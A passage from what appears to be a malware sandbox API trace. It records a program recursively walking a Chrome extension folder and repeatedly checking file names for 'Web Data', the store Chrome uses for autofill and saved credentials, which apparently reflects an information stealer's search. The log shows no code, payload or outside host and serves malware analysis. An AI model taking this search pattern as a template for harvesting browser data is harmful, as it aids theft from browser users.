IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="zh_CN" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\zh_CN") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\zh_CN" [0056.347] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.347] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\zh_CN") returned 145 [0056.347] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\zh_CN") returned 145 [0056.347] lstrlenA (lpString="\\*.*") returned 4 [0056.347] LocalAlloc (uFlags=0x40, uBytes=0x116) returned 0x2dc220 [0056.347] lstrcpyA (in: lpString1=0x2dc220, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\zh_CN" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\zh_CN") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\zh_CN" [0056.347] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\zh_CN", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\zh_CN\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\zh_CN\\*.*" [0056.347] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\zh_CN\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.347] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.347] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.347] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.347] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.347] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.347] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.347] LocalFree (hMem=0x2dc220) returned 0x0 [0056.347] LocalFree (hMem=0x2dc100) returned 0x0 [0056.347] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.347] lstrcmpiA (lpString1=".", lpString2="zh_TW") returned -1 [0056.347] lstrcmpiA (lpString1="..", lpString2="zh_TW") returned -1 [0056.347] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.347] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.347] lstrlenA (lpString="\\") returned 1 [0056.347] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.347] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.348] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.348] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.348] lstrlenA (lpString="zh_TW") returned 5 [0056.348] LocalAlloc (uFlags=0x40, uBytes=0x112) returned 0x2dc100 [0056.348] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.348] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="zh_TW" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\zh_TW") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\zh_TW" [0056.348] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.348] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\zh_TW") returned 145 [0056.348] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\zh_TW") returned 145 [0056.348] lstrlenA (lpString="\\*.*") returned 4 [0056.348] LocalAlloc (uFlags=0x40, uBytes=0x116) returned 0x2dc220 [0056.348] lstrcpyA (in: lpString1=0x2dc220, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\zh_TW" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\zh_TW") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\zh_TW" [0056.348] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\zh_TW", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\zh_TW\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\zh_TW\\*.*" [0056.348] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\zh_TW\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.348] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.348] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.348] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.348] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.348] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.348] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.348] LocalFree (hMem=0x2dc220) returned 0x0 [0056.348] LocalFree (hMem=0x2dc100) returned 0x0 [0056.348] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.348] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.348] LocalFree (hMem=0x2daec8) returned 0x0 [0056.348] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.348] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0 [0056.348] FindClose (in: hFindFile=0x2dc878 | out: hFindFile=0x2dc878) returned 1 [0056.348] LocalFree (hMem=0x2dedd8) returned 0x0 [0056.348] LocalFree (hMem=0x2d9b88) returned 0x0 [0056.348] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 0 [0056.348] FindClose (in: hFindFile=0x2dc838 | out: hFindFile=0x2dc838) returned 1 [0056.348] LocalFree (hMem=0x2decd0) returned 0x0 [0056.348] LocalFree (hMem=0x2debc8) returned 0x0 [0056.348] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 1 [0056.348] lstrcmpiA (lpString1=".", lpString2="4.2.8_0") returned -1 [0056.348] lstrcmpiA (lpString1="..", lpString2="4.2.8_0") returned -1 [0056.348] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo") returned 113 [0056.348] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo") returned 113 [0056.348] lstrlenA (lpString="\\") returned 1 [0056.349] LocalAlloc (uFlags=0x40, uBytes=0xf3) returned 0x2deac8 [0056.349] lstrcpyA (in: lpString1=0x2deac8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo" [0056.349] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\" [0056.349] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\") returned 114 [0056.349] lstrlenA (lpString="4.2.8_0") returned 7 [0056.349] LocalAlloc (uFlags=0x40, uBytes=0xfa) returned 0x2debc8 [0056.349] lstrcpyA (in: lpString1=0x2debc8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\" [0056.349] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\", lpString2="4.2.8_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0" [0056.349] LocalFree (hMem=0x2deac8) returned 0x0 [0056.349] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0") returned 121 [0056.349] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0") returned 121 [0056.349] lstrlenA (lpString="\\*.*") returned 4 [0056.349] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x2decd0 [0056.349] lstrcpyA (in: lpString1=0x2decd0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0" [0056.349] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\*.*" [0056.349] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\*.*", lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 0x2dc838 [0056.349] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.349] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.349] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.349] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.349] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.349] StrStrIA (lpFirst="128.png", lpSrch="Web Data") returned 0x0 [0056.349] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.349] StrStrIA (lpFirst="manifest.json", lpSrch="Web Data") returned 0x0 [0056.349] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.349] lstrcmpiA (lpString1=".", lpString2="_locales") returned -1 [0056.349] lstrcmpiA (lpString1="..", lpString2="_locales") returned -1 [0056.349] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0") returned 121 [0056.349] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0") returned 121 [0056.349] lstrlenA (lpString="\\") returned 1 [0056.349] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x2dfde0 [0056.349] lstrcpyA (in: lpString1=0x2dfde0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0" [0056.349] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\" [0056.349] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\") returned 122 [0056.349] lstrlenA (lpString="_locales") returned 8 [0056.349] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2dfee8 [0056.349] lstrcpyA (in: lpString1=0x2dfee8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\" [0056.349] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\", lpString2="_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.349] LocalFree (hMem=0x2dfde0) returned 0x0 [0056.349] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.349] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.349] lstrlenA (lpString="\\*.*") returned 4 [0056.349] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dfff8 [0056.349] lstrcpyA (in: lpString1=0x2dfff8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.349] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\*.*" [0056.349] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2dc878 [0056.350] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.350] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.350] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.350] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.350] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.350] lstrcmpiA (lpString1=".", lpString2="ar") returned -1 [0056.350] lstrcmpiA (lpString1="..", lpString2="ar") returned -1 [0056.350] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.350] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 130 [0056.350] lstrlenA (lpString="\\") returned 1 [0056.350] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0108 [0056.350] lstrcpyA (in: lpString1=0x2e0108, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" [0056.350] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.350] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned 131 [0056.350] lstrlenA (lpString="ar") returned 2 [0056.350] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2e0218 [0056.350] lstrcpyA (in: lpString1=0x2e0218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\" [0056.350] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\", lpString2="ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 